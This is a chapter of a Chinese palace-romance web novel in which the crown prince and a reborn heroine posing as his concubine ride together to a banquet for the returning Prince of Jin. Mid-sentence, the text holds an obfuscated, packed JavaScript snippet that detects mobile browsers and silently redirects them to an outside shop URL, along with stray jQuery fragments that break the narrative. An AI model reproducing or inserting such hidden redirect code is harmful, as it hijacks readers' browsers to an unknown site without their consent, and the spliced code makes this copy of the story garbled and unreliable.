东宫门前,赤宁提着灯笼在阶下候着,一见车帘掀开,便小跑着迎上来,脸上的焦急在看见沈玄苏苍白面色的瞬间又加重了几分。
“殿下!您这脸色怎么比出宫时还差?程太医已经在偏殿候着了,您先随我来!”
沈玄苏抬手止住他的话头,自己扶着车辕下了马车,落地时身形晃了一下。
婵鸢跟在他身后下来,搀了他一下,他拂下她的手,含笑道:“无妨,孤去换件衣裳,你等待片刻。”
婵鸢手里还攥着那方染血的帕子,见状只能道:“那臣便等你出来。”
沈玄苏颔首,先离去。赤宁先一步拦在了她面前,张开双臂道:“付姑娘,您可不能走!”
赤宁压低嗓子,一边拿眼风扫着沈玄苏被内侍扶进殿内的背影,一边飞快地说道:“今晚宫里有大宴,陛下亲自主持,迎接晋王回京,这样大的场合,咱们殿下身边不能没个知冷知热的人,您要是走了,殿下一个人坐在那儿,旁人敬酒他不喝,旁人寒暄他不理,冷冷清清的,多不像话。”
婵鸢抿了抿唇道:“殿下又不是头一回赴宴,再说,我身为侍妾,也不可能坐在殿下身边。”
赤宁连连摆手道:“姑娘,奴才知道您跟殿下之间清清白白,什么侍妾不侍妾的,不过是您带着鉴影司替殿下办事的托词。可咱们殿下对您的心思,那是真的不能再真了,您不知道,您每回一走,殿下就跟丢了魂似的,批折子批到半夜,程太医熬的药也不肯喝,就站在廊下望着宫门的方向,一站就是小半个时辰。奴才跟了殿下这么多年,从没见过他对谁这样钟情过。”
婵鸢站在原地,手指攥紧了袖口:“……是么?”
他……竟这样在乎她么?
赤宁见她不信,语气里已经带上了几分哀求:“姑娘,就当是奴才求您,今晚这场合,晋王回京,多少双眼睛盯着咱们殿下?您哪怕什么都不做,就坐在殿下身边,也是给他圆了面子。您可知道,咱们殿下清心寡欲,身为太子,身边却从未有过女人,连个暖床的丫鬟都没有,至今仍是童子身!这说出去,有损殿下名誉。”
婵鸢轻轻叹了口气:“你把他说的这样痴心可怜,倒让我觉得不好意思了。”
婵鸢没有说好,也没有说不好,只是抬脚迈过了东宫的门槛。
赤宁在她身后长舒一口气,连忙小跑着跟上去,一边跑一边朝殿内喊:“殿下!付姑娘留下了!”
婵鸢脚步一顿,回头瞪了他一眼。
赤宁立刻捂嘴,做了个噤声的手势,眼珠子却滴溜溜地转,分明是得了便宜还卖乖。
沈玄苏已在内殿更衣,婵鸢被宫女引到偏殿等候,坐在窗前,望着庭院里那方不冻泉出神。
水面在月色下泛着粼粼波光,几片落叶漂在上面,安安静静的。
婵鸢心里却想到那个人,晋王,华月寻。
晋王是皇帝的十六弟,年过而立之年,沈玄苏唤他小叔,婵鸢只在宫宴上见过他几面,对他的印象不深,只记得他面容阴鸷,行事狠厉,身在云京,触手却遍布中原五府,是个不可忽视的强权贵族。
前世,这个人一直隐匿在弑君风波之下,地位做出任何大逆不道之举,婵鸢也不确定,他的出现意味着什么,还是说,仅仅是一位郡王而已。
蓝峥这时从天而降,吓了婵鸢一跳。
婵鸢道:“你怎么进来的?行宫不允许叶亭之外的人进来!”
蓝峥道:“我领了叶亭的牌子,东宫侍卫也见过我,便放行了。”
婵鸢这才放心,“我是怕他们认错了人,误伤你。”
“无妨。”蓝峥飞快地说:“主子,陆观澜出京了,路上遇了一伙,看刀法是东宫的人。”
婵鸢也是快速领略了这份情报的意思,蹙眉:“太子杀陆观澜?这是何意?”
蓝峥低声道:“许是太子早就想杀他了,只因陆观澜未离京,才没动手。甫一离京便按捺不住,痛下杀手。”
婵鸢:“陆观澜可还活着?”
蓝峥道:“被砍伤了,路上有一对金吾卫巡城,他趁机逃脱了,去往一处驿站,估计是快马回江南。东陆党之所以兴起,不就是一群学子,在江南学宫同学,一路扶持着考至云京的吗?陆观澜若是回去了,来年参加春闱,怕不是又要进京。”
婵鸢百思不得其解。
沈玄苏不就是想顺着东陆党的陆远志,一路追查到幕后之人吗?
可他先是将东陆党一脉残杀至一败涂地,又追杀陆观澜,将陆氏家族赶尽杀绝,他到底意欲何为?
她正出神,身后的珠帘被人撩开,蓝峥也快速不见了。
沈玄苏似乎并未看见蓝峥,他已经把那身染血的衣袍脱去,换了件紫金袍,金乌冠束发,瞧着明艳而昳丽,端方雅致。
他走到她身后,顺着她的目光望向庭院里的不冻泉,淡淡道:“方才的话,是赤宁多嘴。你若不想去,便回琼华楼歇着,不必勉强。”
婵鸢站起身来,柔声道:“赤宁说得没错,今晚这场合,殿下身边不能没人,臣陪殿下赴宴。”
沈玄苏盯着她看了会,又将她鬓边一缕散落的碎发别到耳后,轻描淡写道:“那便走吧,今晚的宴,你坐在孤身边,就当给孤壮胆。”
婵鸢终于忍不住弯了弯嘴角:“壮胆?殿下天不怕地不怕,什么时候需要别人壮胆?”
沈玄苏意味深长道:“孤怕你到时不肯对孤做出依恋情态,叫别人看穿了去,我们是假扮的一对君妾。”
婵鸢眨了眨眼睛,愉快道:“殿下,原来是这担心臣的演技么?那无需担心的,妾定会扮演一位体贴贤良的侍妾,照顾殿下的周到,可好?”
沈玄苏屈起手指,刮了刮她的鼻尖,轻声道:“调皮。”
婵鸢被他亲昵的举动弄得有些脸红,不过一想到今晚都要假装依偎他,心里又坦然了。
只是在这份坦然里,她又觉得熟悉,又觉得心酸。
他们曾是少年帝后,如假包换的真夫妻,所谓爱恋的神态,何须扮演?只消望一眼他,婵鸢只怕自己的爱恋之心从眼睛里荡漾出来,被他发现,又被他嘲笑。
门外,赤宁早已备好轿辇,见二人一前一后出来,笑得眉眼弯弯,一甩拂尘,高声唱道:“太子殿下起驾——”
沈玄苏经过他身侧时,脚步微顿,低声道:“赏钱去账房领,领赏钱的缘由,一定要说出来,广而告之。”
赤宁愣了一瞬,随即笑逐颜开,差点没把拂尘甩飞出去:“知道,殿下!”
婵鸢没有听见,一溜烟钻进了轿子,摸了摸柔软的坐垫,估计是宫人们特意换上的,她喜欢这种毛茸茸的质感,比刺绣更舒服,她自己的荷包就是这样的款式。
是沈玄苏的吩咐吗?他好细心。
沈玄苏自己撩开帘,没叫任何小厮坐在帘子外掌帘,而是坐在了她身侧,对她伸出了手,张开手心,摊在腿上,慢条斯理道:“手给孤,从此时起,你便要开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615919|204295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扮演贤妃了。”
婵鸢便大大方方将手放在他手心里,“是,殿下。”
沈玄苏合上手掌,攥紧了她的纤手,五指紧扣,按在了坐垫的短绒里。
他闭上眼睛,拇指在她手背上缓缓摩挲着,像是在抚摸一片花瓣。
“殿下的手还是这样凉。”婵鸢轻声说,没有挣开,看着他的手,他紧紧攥着她,薄薄的茧有点扎人,十分有力气地禁锢着她。
婵鸢不讨厌,反而有些心安。
沈玄苏看了看她的侧脸,似是有些沉醉道:“借你的手暖暖,莫要嫌弃孤。”
婵鸢将目光从两人交握的手上移开,望向轿窗外飞速后退的宫道。
红墙黄瓦在暮色中模糊成一片深沉的颜色,偶尔有一两盏宫灯掠过,在轿厢里投下短暂的光斑。
她忽然觉得这样安静的片刻有些不真实,尤其是经历了这么多天的折腾之后,他们坐在一辆晃晃悠悠的轿辇里,手牵着手,低声说着话,像是这世间最寻常的一对夫妻……
等等!她及时收住了思绪。
假的,只是扮演!
他在宫宴上需要一个侍妾来撑场面,而她恰好是最合适的人选,仅此而已。
婵鸢回眸望向他,发现他也在看着她,不知道在想什么,便轻轻将头靠在他肩上,温声道:“殿下,今晚晋王回京,陛下亲自主持,规格比太后寿宴有过之而无不及,臣若坐在殿下身边,恐怕会引来非议,毕竟臣现在名义上只是侍妾,按规矩只能坐在末席。”
沈玄苏的脸颊抵着她的步摇,将那张本就清艳的脸戳了个小酒窝,但他没有躲开,而是换了只手攥住她,右手抬起来抚摸着她的肩膀,将她往自己身上贴了贴,低声道:“孤让你坐在身边,你便坐在身边,晋王不会介意。至于规矩,孤是储君,孤说的话,就是规矩,若有人敢质疑你,便如同质疑孤。”
婵鸢被他搂着,浑身放软了力气,也就没有再反驳。
她想起前世,他也是这样,那时候她刚被册封为太子妃,第一次以太子妃的身份赴宫宴,紧张得连筷子都拿不稳,他什么也没说,只是在开宴前将自己的手覆在她手背上,攥住了,然后继续与旁边的大臣继续谈论朝政。
那个瞬间,她记了一辈子,其实她独立惯了,并不渴望有人庇护着她,可沈玄苏待她的好,让她忍不住一次又一次对他心软,也许这是错,会让沈玄苏一点点攻陷她的底线,可他愿意被她靠着,这种感觉,说真的,她也是有几分沉溺的。
婵鸢在他肩膀上昏昏欲睡,若不是马车颠簸,她还能睡一觉。
轿辇过了正阳门,在光华殿前缓缓停住。
赤宁的声音从轿外传来:“殿下,到了。”
“唔……”婵鸢迷糊道:“到了吗,夫君?”
沈玄苏缓了又缓,才松开她的手,“嗯”了声,率先站起身来,弯腰撩开车帘。
宫灯的光涌进来,将他紫金袍上的暗纹照得流光溢彩。
婵鸢也苏醒了,恍然意识到,自己方才唤了他什么。
“……殿下。”她有些尴尬。
可是沈玄苏回头看了她一眼,月光和灯光同时落在他侧脸上,将那双凤目映得幽深而明亮,十分惬意。
“来,”他站在马车下,朝她伸出手,“孤扶着你。”
婵鸢怯怯将手放进他掌心,生怕他降罪,罚她的失了分寸。
她这样……倒也可以归为“演”,想来,他是不会生气的。